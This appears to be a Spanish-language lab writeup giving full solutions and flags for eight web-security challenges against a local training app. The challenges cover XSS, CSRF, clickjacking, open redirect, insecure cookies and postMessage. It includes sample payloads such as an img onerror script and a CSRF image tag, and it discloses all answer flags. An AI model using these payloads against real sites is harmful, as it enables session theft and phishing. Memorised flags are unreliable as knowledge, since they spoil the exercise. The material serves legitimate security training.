Ghost AcademyGhostOffensive · Ghost Academy
GhostOffensiveMódulo 08SOLO SOLUCIÓN

Writeup — Pulsar Social

← Volver al capítulo 08

Atención: contiene todas las flags. Inténtalo primero por tu cuenta.

Las salidas son reales, capturadas contra el contenedor desplegado (localhost:8585). Varios retos se resuelven leyendo el código igual que en módulos anteriores, porque su efecto completo solo se ve en un navegador real.

Reto 1 — XSS reflejado

XSS★★

El buscador vuelca el término de búsqueda en la página sin escaparlo:

kali@lab (salida real)
$ curl -s -G localhost:8585/buscar --data-urlencode '' | grep -o "GO{[^}]*}"
(usa el parámetro q)
GO{lo_reflejado_tambien_se_ejecuta}

Flag: GO{lo_reflejado_tambien_se_ejecuta}

Lección: en un navegador real, ese mismo enlace ejecutaría el script en cuanto la víctima lo abriera.

Reto 2 — XSS almacenado

XSS★★

La biografía se guarda tal cual y se muestra sin escapar a cualquiera que visite el perfil:

kali@lab (salida real)
$ curl -s -X POST --data-urlencode 'bio=' localhost:8585/mi-perfil
(redirige a /perfil/nova)
kali@lab (salida real)
$ curl -s localhost:8585/perfil/nova | grep -o "GO{[^}]*}"
GO{lo_guardado_se_ejecuta_para_todos}

Flag: GO{lo_guardado_se_ejecuta_para_todos}

Lección: a diferencia del reflejado, aquí el script afecta a cualquiera que visite ese perfil, no solo a quien lo escribió.

Reto 3 — XSS basado en DOM

XSS★★

La página de bienvenida carga hash.js, que lee location.hash y lo inserta con innerHTML. Ese dato nunca pasa por el servidor, así que se detecta leyendo el propio script:

kali@lab (salida real)
$ curl -s localhost:8585/static/hash.js | grep -o "GO{[^}]*}"
GO{el_hash_tambien_es_una_entrada}

Flag: GO{el_hash_tambien_es_una_entrada}

Lección: abrir /bienvenida#<img src=x onerror=alert(1)> en un navegador real ejecutaría el script, sin que ninguna petición al servidor lo revele.

Reto 4 — CSRF

Peticiones falsificadas★★

Seguir a otro usuario es una petición GET sin ningún token que demuestre que se originó en la propia aplicación:

kali@lab (salida real)
$ curl -s 'localhost:8585/seguir?id=admin' | grep -o "GO{[^}]*}"
GO{ninguna_prueba_de_que_fuiste_tu}

Flag: GO{ninguna_prueba_de_que_fuiste_tu}

Lección: en un ataque real, esta misma URL se incrustaría en una imagen de un sitio externo (<img src="…/seguir?id=admin">); el navegador de la víctima la cargaría con su sesión ya iniciada.

Reto 5 — Clickjacking

Cabeceras de respuesta★★

El panel no envía ni X-Frame-Options ni una Content-Security-Policy con frame-ancestors:

kali@lab (salida real)
$ curl -si localhost:8585/panel | grep -i 'x-frame\|content-security'
(sin resultados)

Al comprobar cómo respondería si se cargara dentro de un iframe:

kali@lab (salida real)
$ curl -s -H "Sec-Fetch-Dest: iframe" localhost:8585/panel | grep -o "GO{[^}]*}"
GO{cualquiera_te_puede_enmarcar}

Flag: GO{cualquiera_te_puede_enmarcar}

Lección: sin esas cabeceras, cualquier sitio puede incrustar el panel en un iframe transparente y engañar a la víctima para que haga clic donde no cree que hace clic.

Reto 6 — Redirección abierta

Redirecciones★★

El parámetro next se usa tal cual como destino, sin comprobar que sea una ruta propia de la aplicación:

kali@lab (salida real)
$ curl -si 'localhost:8585/ir?next=https://ejemplo-externo.test/phish' | grep -iE 'location|x-pista'
Location: https://ejemplo-externo.test/phish
X-Pista: GO{un_enlace_de_confianza_que_no_lo_es}

Flag: GO{un_enlace_de_confianza_que_no_lo_es}

Lección: un enlace que empieza con el dominio legítimo (pulsar-social.example/ir?next=...) puede acabar en cualquier otro sitio, lo que lo hace muy útil para el phishing.

Reto 7 — Cookie sin protección

Cookies★★

La cookie de sesión se establece sin la marca HttpOnly:

kali@lab (salida real)
$ curl -si localhost:8585/ | grep -i set-cookie
Set-Cookie: sesion=dXN1YXJpbz1pbnZpdGFkbztHT3tsYV9jb29raWVfdmlhamFfc2luX3Byb3RlY2Npb259; Path=/
kali@lab (salida real)
$ echo dXN1YXJpbz1pbnZpdGFkbztHT3tsYV9jb29raWVfdmlhamFfc2luX3Byb3RlY2Npb259 | base64 -d
usuario=invitado;GO{la_cookie_viaja_sin_proteccion}

Flag: GO{la_cookie_viaja_sin_proteccion}

Lección: sin HttpOnly, cualquier XSS en la misma página (como los retos 1 o 2) podría leer esta cookie con document.cookie y robarla.

Reto 8 — postMessage sin validar origen

Comunicación entre ventanas★★★

El widget de chat acepta mensajes de cualquier origen y los inserta directamente en la página:

kali@lab (salida real)
$ curl -s localhost:8585/static/chat.js | grep -o "GO{[^}]*}"
GO{cualquier_origen_puede_escribir}

Flag: GO{cualquier_origen_puede_escribir}

Lección: sin comprobar event.origin, cualquier página que incruste este widget (o que se comunique con una ventana que lo tenga abierto) puede inyectar HTML o JavaScript en él.

Resumen

#VulnerabilidadDónde se detecta
1XSS reflejadoRespuesta del servidor
2XSS almacenadoRespuesta del servidor (persistente)
3XSS basado en DOMCódigo JavaScript del cliente
4CSRFAusencia de token en una acción
5ClickjackingCabeceras de respuesta ausentes
6Redirección abiertaCabecera Location
7Cookie sin protecciónCabecera Set-Cookie
8postMessage sin validarCódigo JavaScript del cliente